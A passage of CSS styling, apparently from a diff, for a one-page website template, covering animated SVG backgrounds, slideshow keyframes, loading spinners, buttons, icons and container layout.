0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22491.051%22%20y1%3D%2288.8651%22%20x2%3D%22486.1732%22%20y2%3D%2293.1749%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B500.2836%3B510.5698%3B522.1007%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B80.7074%3B71.6189%3B61.4306%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B491.051%3B500.2836%3B510.5698%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2293.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B88.8651%3B80.7074%3B71.6189%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22132.1859%22%20y1%3D%22208.3961%22%20x2%3D%22140.2882%22%20y2%3D%22209.7594%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B121.8851%3B110.3888%3B97.476%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B206.6627%3B204.7282%3B202.5553%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B132.1859%3B121.8851%3B110.3888%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B208.3961%3B206.6627%3B204.7282%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22384.3853%22%20y1%3D%22379.9563%22%20x2%3D%22383.125%22%20y2%3D%22377.2166%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B387.8272%3B391.6578%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B387.438%3B395.7648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B384.3853%3B387.8272%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B379.9563%3B387.438%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22511.4146%22%20y1%3D%22440.2755%22%20x2%3D%22506.1915%22%20y2%3D%22434.8106%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B521.7326%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B451.0712%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B511.4146%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B440.2755%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.4977%22%20y1%3D%22178.0974%22%20x2%3D%22596.0526%22%20y2%3D%22179.2948%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22419.0981%22%20y1%3D%22143.2643%22%20x2%3D%22418.1474%22%20y2%3D%22144.1923%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22131.9981%22%20y1%3D%22367.2248%22%20x2%3D%22135.1136%22%20y2%3D%22365.1165%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22144.9396%22%20y1%3D%22257.2131%22%20x2%3D%22146.4923%22%20y2%3D%22257.0604%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22557.1564%22%20y1%3D%22342.5661%22%20x2%3D%22548.3059%22%20y2%3D%22338.7384%22%20stroke-opacity%3D%220%22%20%2F%3E%3C%2Fsvg%3E'), linear-gradient(to top, rgba(0, 0, 0, 0.302), rgba(0, 0, 0, 0.302)); + background-size: 100% 100%, auto; + background-position: center, 0% 0%; + background-repeat: no-repeat, repeat; +} + +#bg { + background-attachment: scroll; + height: var(--background-height); + left: 0; + pointer-events: none; + position: fixed; + top: 0; + transform: scale(1); + width: 100vw; + z-index: 0; + background-color: #000000; +} + +#bg.slideshow-background>.slow { + animation-duration: 60s; +} + +#bg.slideshow-background>.normal { + animation-duration: 45s; +} + +#bg.slideshow-background>.fast { + animation-duration: 30s; +} + +#bg.slideshow-background>div { + transition-duration: 1s; +} + +body:after { + background-color: #788281; + content: ''; + display: block; + height: 100%; + left: 0; + opacity: 0; + pointer-events: none; + position: fixed; + top: 0; + transform: scale(1); + transition: opacity 1s ease-in-out 0.875s, visibility 1s 0.875s; + visibility: hidden; + width: 100%; + z-index: 1; +} + +body.is-loading:after { + opacity: 1; + visibility: visible; +} + +:root { + --background-height: 100vh; + --site-language-alignment: left; + --site-language-direction: ltr; + --site-language-flex-alignment: flex-start; + --site-language-indent-left: 1; + --site-language-indent-right: 0; + --site-language-margin-left: 0; + --site-language-margin-right: auto; + --viewport-height: 100vh; +} + +html { + font-size: 16pt; +} + +u { + text-decoration: underline; +} + +strong { + color: inherit; + font-weight: bolder; +} + +em { + font-style: italic; +} + +code { + background-color: rgba(144, 144, 144, 0.25); + border-radius: 0.25em; + font-family: 'Lucida Console', 'Courier New', monospace; + font-size: 0.9em; + font-weight: normal; + letter-spacing: 0; + margin: 0 0.25em; + padding: 0.25em 0.5em; + text-indent: 0; +} + +mark { + background-color: rgba(144, 144, 144, 0.25); +} + +spoiler-text { + -webkit-text-stroke: 0; + background-color: rgba(32, 32, 32, 0.75); + text-shadow: none; + text-stroke: 0; + color: transparent; + cursor: pointer; + transition: color 0.1s ease-in-out; +} + +spoiler-text.active { + color: #FFFFFF; + cursor: text; +} + +s { + text-decoration: line-through; +} + +sub { + font-size: smaller; + vertical-align: sub; +} + +sup { + font-size: smaller; + vertical-align: super; +} + +a { + color: inherit; + text-decoration: underline; + transition: color 0.25s ease; +} + +a[onclick]:not([href]) { + cursor: pointer; +} + +deferred-script { + display: none; +} + +#wrapper { + -webkit-overflow-scrolling: touch; + align-items: center; + display: flex; + flex-direction: column; + justify-content: center; + min-height: var(--viewport-height); + overflow: hidden; + position: relative; + z-index: 2; +} + +#main { + --alignment: center; + --flex-alignment: center; + --indent-left: 1; + --indent-right: 1; + --margin-left: auto; + --margin-right: auto; + --border-radius-tl: 0; + --border-radius-tr: 0; + --border-radius-br: 0; + --border-radius-bl: 0; + align-items: center; + display: flex; + flex-grow: 0; + flex-shrink: 0; + justify-content: center; + max-width: 100%; + position: relative; + text-align: var(--alignment); + z-index: 1; + transform: perspective(1000px) rotateY(0deg); + transform-origin: 50% 50%; + transition: opacity 1s ease 0s, transform 1s ease 0s; +} + +#main>.inner { + --padding-horizontal: 3rem; + --padding-vertical: 3rem; + --spacing: 1.5rem; + --width: 36rem; + border-radius: var(--border-radius-tl) var(--border-radius-tr) var(--border-radius-br) var(--border-radius-bl); + max-width: 100%; + position: relative; + width: var(--width); + z-index: 1; + padding: var(--padding-vertical) var(--padding-horizontal); +} + +#main>.inner>* { + margin-top: var(--spacing); + margin-bottom: var(--spacing); +} + +#main>.inner> :first-child { + margin-top: 0 !important; +} + +#main>.inner> :last-child { + margin-bottom: 0 !important; +} + +#main>.inner>.full { + margin-left: calc(var(--padding-horizontal) * -1); + max-width: calc(100% + calc(var(--padding-horizontal) * 2) + 0.4725px); + width: calc(100% + calc(var(--padding-horizontal) * 2) + 0.4725px); +} + +#main>.inner>.full:first-child { + border-top-left-radius: inherit; + border-top-right-radius: inherit; + margin-top: calc(var(--padding-vertical) * -1) !important; +} + +#main>.inner>.full:last-child { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; + margin-bottom: calc(var(--padding-vertical) * -1) !important; +} + +#main>.inner>.full.screen { + border-radius: 0 !important; + max-width: 100vw; + position: relative; + width: 100vw; + left: 50%; + margin-left: -50vw; + right: auto; +} + +body.is-loading #main { + opacity: 0; + transform: perspective(1000px) rotateY(9deg); +} + +body #wrapper:after { + background-position: center; + background-repeat: no-repeat; + background-size: contain; + content: ''; + display: block; + height: 6.25rem; + left: calc(50% - 3.125rem); + opacity: 0; + pointer-events: none; + position: fixed; + top: calc(50% - 3.125rem); + transition: opacity 1s ease, visibility 1s; + visibility: hidden; + width: 6.25rem; + z-index: 100000; +} + +body.is-loading { + pointer-events: none; +} + +body.is-loading.with-loader #wrapper:after { + background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iOTZweCIgaGVpZ2h0PSI5NnB4IiB2aWV3Qm94PSIwIDAgOTYgOTYiIHpvb21BbmRQYW49ImRpc2FibGUiPjxzdHlsZT5jaXJjbGUgeyBmaWxsOiAjRkZGRkZGODA7IH08L3N0eWxlPjxjaXJjbGUgY3g9IjI0IiBjeT0iNDgiIHI9IjMiIG9wYWNpdHk9IjEiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9InIiIGJlZ2luPSIwcyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMHMiIGR1cj0iMXMiIHZhbHVlcz0iMC4zNzU7MTswLjM3NTswLjM3NTswLjM3NSIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjwvY2lyY2xlPjxjaXJjbGUgY3g9IjM2IiBjeT0iNDgiIHI9IjIiIG9wYWNpdHk9IjAuMzc1Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiBiZWdpbj0iMC4ycyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMC4ycyIgZHVyPSIxcyIgdmFsdWVzPSIwLjM3NTsxOzAuMzc1OzAuMzc1OzAuMzc1IiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PC9jaXJjbGU+PGNpcmNsZSBjeD0iNDgiIGN5PSI0OCIgcj0iMiIgb3BhY2l0eT0iMC4zNzUiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9InIiIGJlZ2luPSIwLjRzIiBkdXI9IjFzIiB2YWx1ZXM9IjI7MzsyOzI7MiIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9Im9wYWNpdHkiIGJlZ2luPSIwLjRzIiBkdXI9IjFzIiB2YWx1ZXM9IjAuMzc1OzE7MC4zNzU7MC4zNzU7MC4zNzUiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48L2NpcmNsZT48Y2lyY2xlIGN4PSI2MCIgY3k9IjQ4IiByPSIyIiBvcGFjaXR5PSIwLjM3NSI+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iciIgYmVnaW49IjAuNnMiIGR1cj0iMXMiIHZhbHVlcz0iMjszOzI7MjsyIiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0ib3BhY2l0eSIgYmVnaW49IjAuNnMiIGR1cj0iMXMiIHZhbHVlcz0iMC4zNzU7MTswLjM3NTswLjM3NTswLjM3NSIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjwvY2lyY2xlPjxjaXJjbGUgY3g9IjcyIiBjeT0iNDgiIHI9IjIiIG9wYWNpdHk9IjAuMzc1Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiBiZWdpbj0iMC44cyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMC44cyIgZHVyPSIxcyIgdmFsdWVzPSIwLjM3NTsxOzAuMzc1OzAuMzc1OzAuMzc1IiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PC9jaXJjbGU+PC9zdmc+'); + opacity: 1; + transform: scale(1.0); + visibility: visible; +} + +body.is-playing.with-loader #wrapper:after { + opacity: 0; + transform: scale(0.5); + transition: opacity 0.25s ease, transform 0.75s ease, visibility 0.25s; + visibility: hidden; +} + +body.is-instant #main, +body.is-instant #main>.inner>*, +body.is-instant #main>.inner>section>* { + transition: none !important; +} + +body.is-instant:after { + display: none !important; + transition: none !important; +} + +@keyframes loading-spinner { + 0% { + transform: rotate(0deg); + } + + 100% { + transform: rotate(360deg); + } +} + +.slideshow-background:after { + content: ''; + display: block; + width: 4rem; + height: 4rem; + position: absolute; + top: 50%; + left: 50%; + margin: -2rem 0 0 -2rem; + animation: loading-spinner 1s infinite linear; + transition: opacity 0.25s ease; + transition-delay: 1s; + opacity: 0; + pointer-events: none; + z-index: -1; + background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iOTZweCIgaGVpZ2h0PSI5NnB4IiB2aWV3Qm94PSIwIDAgOTYgOTYiIHpvb21BbmRQYW49ImRpc2FibGUiPjxzdHlsZT5jaXJjbGUge2ZpbGw6IHRyYW5zcGFyZW50OyBzdHJva2U6ICNmZmY7IHN0cm9rZS13aWR0aDogMS41cHg7IH08L3N0eWxlPjxkZWZzPjxjbGlwUGF0aCBpZD0iY29ybmVyIj48cG9seWdvbiBwb2ludHM9IjAsMCA0OCwwIDQ4LDQ4IDk2LDQ4IDk2LDk2IDAsOTYiIC8+PC9jbGlwUGF0aD48L2RlZnM+PGcgY2xpcC1wYXRoPSJ1cmwoI2Nvcm5lcikiPjxjaXJjbGUgY3g9IjQ4IiBjeT0iNDgiIHI9IjMyIi8+PC9nPjwvc3ZnPg=='); + background-position: center; + background-repeat: no-repeat; + background-size: 3rem; +} + +.slideshow-background.is-loading:after { + opacity: 0.35; + z-index: 0; +} + +.slideshow-background>div { + background-size: cover; + position: absolute; + top: 0; + left: 0; + width: 100% !important; + height: 100% !important; + opacity: 0; + z-index: -2; + animation-timing-function: linear; + animation-iteration-count: infinite; + animation-direction: alternate; +} + +.slideshow-background>.initial { + transition: none; +} + +.slideshow-background>.visible { + opacity: 1; +} + +.slideshow-background>.top { + z-index: -1; +} + +.slideshow-background.instant>div { + visibility: hidden; +} + +.slideshow-background.instant>.visible { + visibility: visible; +} + +.slideshow-background.crossfade>div { + transition: opacity 2s ease-in-out; + visibility: hidden; +} + +.slideshow-background.crossfade>.visible { + visibility: visible; +} + +.slideshow-background.fade>div { + transition: opacity 2s ease-in-out; + visibility: visible; +} + +.slideshow-background.fade>.visible { + visibility: visible; +} + +.slideshow-background>.left, +.slideshow-background>.right { + width: 150% !important; +} + +.slideshow-background>.up, +.slideshow-background>.down { + height: 150% !important; +} + +.slideshow-background>.in, +.slideshow-background>.out { + transform-origin: 50% 50%; +} + +.slideshow-background>.left.is-playing { + animation-name: slideshow-background-left; +} + +.slideshow-background>.right.is-playing { + animation-name: slideshow-background-right; +} + +.slideshow-background>.up.is-playing { + animation-name: slideshow-background-up; +} + +.slideshow-background>.down.is-playing { + animation-name: slideshow-background-down; +} + +.slideshow-background>.in.is-playing { + animation-name: slideshow-background-in; +} + +.slideshow-background>.out.is-playing { + animation-name: slideshow-background-out; +} + +.slideshow-background>.slow { + animation-duration: 60s; +} + +.slideshow-background>.normal { + animation-duration: 45s; +} + +.slideshow-background>.fast { + animation-duration: 30s; +} + +@keyframes slideshow-background-left { + from { + transform: translateX(0); + } + + to { + transform: translateX(-25%); + } +} + +@keyframes slideshow-background-right { + from { + transform: translateX(-25%); + } + + to { + transform: translateX(0); + } +} + +@keyframes slideshow-background-up { + from { + transform: translateY(0); + } + + to { + transform: translateY(-25%); + } +} + +@keyframes slideshow-background-down { + from { + transform: translateY(-25%); + } + + to { + transform: translateY(0); + } +} + +@keyframes slideshow-background-in { + from { + transform: scale(1); + } + + to { + transform: scale(2); + } +} + +@keyframes slideshow-background-out { + from { + transform: scale(2); + } + + to { + transform: scale(1); + } +} + +.image { + display: block; + line-height: 0; + max-width: 100%; + position: relative; +} + +.image .frame { + -webkit-backface-visibility: hidden; + -webkit-transform: translate3d(0, 0, 0); + display: inline-block; + max-width: 100%; + overflow: hidden; + vertical-align: top; + width: 100%; +} + +.image .frame img { + border-radius: 0 !important; + max-width: 100%; + vertical-align: top; + width: inherit; +} + +.image.full .frame { + display: block; +} + +.image.full:first-child .frame { + border-top-left-radius: inherit; + border-top-right-radius: inherit; +} + +.image.full:last-child .frame { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; +} + +#image01:not(:first-child) { + margin-top: 1.5rem !important; +} + +#image01:not(:last-child) { + margin-bottom: 1.5rem !important; +} + +#image01 .frame { + width: 6rem; + border-radius: 100%; + border-color: #FFFFFF; + border-style: solid; + border-width: 4px; + transition: none; +} + +#image01 .frame img { + transition: none; +} + +h1, +h2, +h3, +p { + direction: var(--site-language-direction); + position: relative; +} + +h1 span.p, +h2 span.p, +h3 span.p, +p span.p { + display: block; + position: relative; +} + +h1 span[style], +h2 span[style], +h3 span[style], +p span[style], +h1 strong, +h2 strong, +h3 strong, +p strong, +h1 a, +h2 a, +h3 a, +p a, +h1 code, +h2 code, +h3 code, +p code, +h1 mark, +h2 mark, +h3 mark, +p mark, +h1 spoiler-text, +h2 spoiler-text, +h3 spoiler-text, +p spoiler-text { + -webkit-text-fill-color: currentcolor; +} + +#text01 { + color: #FFFFFF; + font-family: 'Inter', sans-serif; + font-size: 2.25em; + line-height: 1.25; + font-weight: 700; +} + +#text01 a { + text-decoration: underline; +} + +#text01 a:hover { + text-decoration: none; +} + +#text01 span.p:nth-child(n + 2) { + margin-top: 1rem; +} + +#text02 { + color: #FFFFFF; + font-family: 'Inter', sans-serif; + font-size: 0.875em; + line-height: 1.25; + font-weight: 100; +} + +#text02 a { + text-decoration: underline; +} + +#text02 a:hover { + text-decoration: none; +} + +#text02 span.p:nth-child(n + 2) { + margin-top: 1rem; +} + +.buttons { + cursor: default; + display: flex; + justify-content: var(--flex-alignment); + letter-spacing: 0; + padding: 0; +} + +.buttons li { + max-width: 100%; + text-align: var(--alignment); +} + +.buttons li a { + align-items: center; + justify-content: center; + max-width: 100%; + text-align: center; + text-decoration: none; + vertical-align: middle; + white-space: nowrap; +} + +#buttons01 { + gap: 1rem; + flex-direction: column; + flex-wrap: nowrap; +} + +#buttons01:not(:first-child) { + margin-top: 1.75rem !important; +} + +#buttons01:not(:last-child) { + margin-bottom: 1.75rem !important; +} + +#buttons01 li a { + display: inline-flex; + width: auto; + height: 3rem; + line-height: 3rem; + padding: 0 1.5rem; + vertical-align: middle; + font-family: 'Inter', sans-serif; + font-size: 1em; + font-weight: 400; + border-radius: 2.5rem; + transition: transform 0.25s ease, color 0.25s ease, background-color 0.25s ease, border-color 0.25s ease; +} + +#buttons01 li a svg { + display: block; + fill: #FFFFFF; + flex-grow: 0; + flex-shrink: 0; + height: 100%; + min-width: 16px; + width: 1.25em; + margin-left: -0.125em; + margin-right: calc(1rem + 0rem); + transition: fill 0.25s ease; +} + +#buttons01 li a .label { + direction: var(--site-language-direction); + overflow: hidden; +} + +#buttons01 .button { + background-color: rgba(255, 255, 255, 0.102); + color: #FFFFFF; +} + +#buttons01 .button:hover { + background-color: rgba(255, 255, 255, 0.18) !important; +} + +#buttons01 li a:hover { + transform: scale(1.025); +} + +.icons { + display: flex; + flex-wrap: wrap; + justify-content: var(--flex-alignment); + letter-spacing: 0; + padding: 0; +} + +.icons li { + position: relative; + z-index: 1; +} + +.icons li a { + align-items: center; + display: flex; + justify-content: center; +} + +.icons li a svg { + display: block; + position: relative; +} + +.icons li a+svg { + display: block; + height: 100%; + left: 0; + pointer-events: none; + position: absolute; + top: 0; + width: 100%; + z-index: -1; +} + +.icons li a .label { + display: none; +} + +#icons01 { + font-size: 1.25em; + gap: 1rem; +} + +#icons01 li a { + border-radius: 100%; + height: 2em; + width: 2em; + transition: transform 0.25s ease, color 0.25s ease, background-color 0.25s ease, border-color 0.25s ease; +} + +#icons01 li a svg { + height: 60%; + width: 60%; + transition: fill 0.25s ease; +} + +#icons01 a { + background-color: rgba(0, 0, 0, 0.102); +} + +#icons01 a svg { + fill: #000000; +} + +#icons01 a:hover { + background-color: rgba(0, 0, 0, 0.188) !important; +} + +#icons01 li a+svg { + transition: transform 0.25s ease, fill 0.25s ease, stroke 0.25s ease; +} + +#icons01 li a:hover { + transform: scale(1.1125); +} + +#icons01 li a:hover+svg { + transform: scale(1.1125); +} + +.container { + position: relative; +} + +.container>.wrapper { + vertical-align: top; + position: relative; + max-width: 100%; + border-radius: inherit; +} + +.container>.wrapper>.inner { + vertical-align: top; + position: relative; + max-width: 100%; + border-radius: inherit; + text-align: var(--alignment); +} + +#main .container.full:first-child>.wrapper { + border-top-left-radius: inherit; + border-top-right-radius: inherit; +} + +#main .container.full:last-child>.wrapper { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; +} + +#main .container.full:first-child>.wrapper>.inner { + border-top-left-radius: inherit; + border-top-right-radius: inherit; +} + +#main .container.full:last-child>.wrapper>.inner { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; +} + +#container01 { + display: flex; + width: 100%; + align-items: center; + justify-content: center; + background-image: url('data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%20512%20512%22%20width%3D%22512%22%20height%3D%22512%22%20version%3D%221.1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%20%3Cfilter%20id%3D%22noise%22%3E%20%3CfeTurbulence%20type%3D%22fractalNoise%22%20baseFrequency%3D%220.875%22%20result%3D%22noise%22%20%2F%3E%20%3CfeColorMatrix%20type%3D%22matrix%22%20values%3D%220.21875%200%200%200%200%200%200.21875%200%200%200%200%200%200.21875%200%200%200%200%200%200.30859375%200%22%20%2F%3E%20%3C%2Ffilter%3E%20%3Crect%20filter%3D%22url%28%23noise%29%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22512%22%20height%3D%22512%22%20fill%3D%22transparent%22%20opacity%3D%221%22%20%2F%3E%3C%2Fsvg%3E'), linear-gradient(0deg, rgba(46, 46, 46, 0.212) 50%, rgba(227, 227, 227, 0.102) 100%); + background-size: 512px, cover; + background-position: center, 0% 0%; + background-repeat: repeat, repeat; + -webkit-backdrop-filter: blur(0.75rem); + backdrop-filter: blur(0.75rem); + box-shadow: 0rem 1.375rem 10rem 0rem rgba(0, 0, 0, 0.31); + border-top-left-radius: 1.5rem; + border-top-right-radius: 1.5rem; +} + +#container01:not(:last-child) { + margin-bottom: 0rem !important; +} + +#container01>.wrapper>.inner { + --gutters: 2rem; + --padding-horizontal: 3rem; + --padding-vertical: 4rem; + --spacing: 1rem; + padding: var(--padding-vertical) var(--padding-horizontal); + border-top-left-radius: calc(1.5rem - 1px); + border-top-right-radius: calc(1.5rem - 1px); +} + +#container01>.wrapper { + max-width: 30rem; + width: 100%; +} + +#container01.default>.wrapper>.inner>* { + margin-bottom: var(--spacing); + margin-top: var(--spacing); +} + +#container01.default>.wrapper>.inner>*:first-child { + margin-top: 0 !important; +} + +#container01.default>.wrapper>.inner>*:last-child { + margin-bottom: 0 !important; +} + +#container01.columns>.wrapper>.inner { 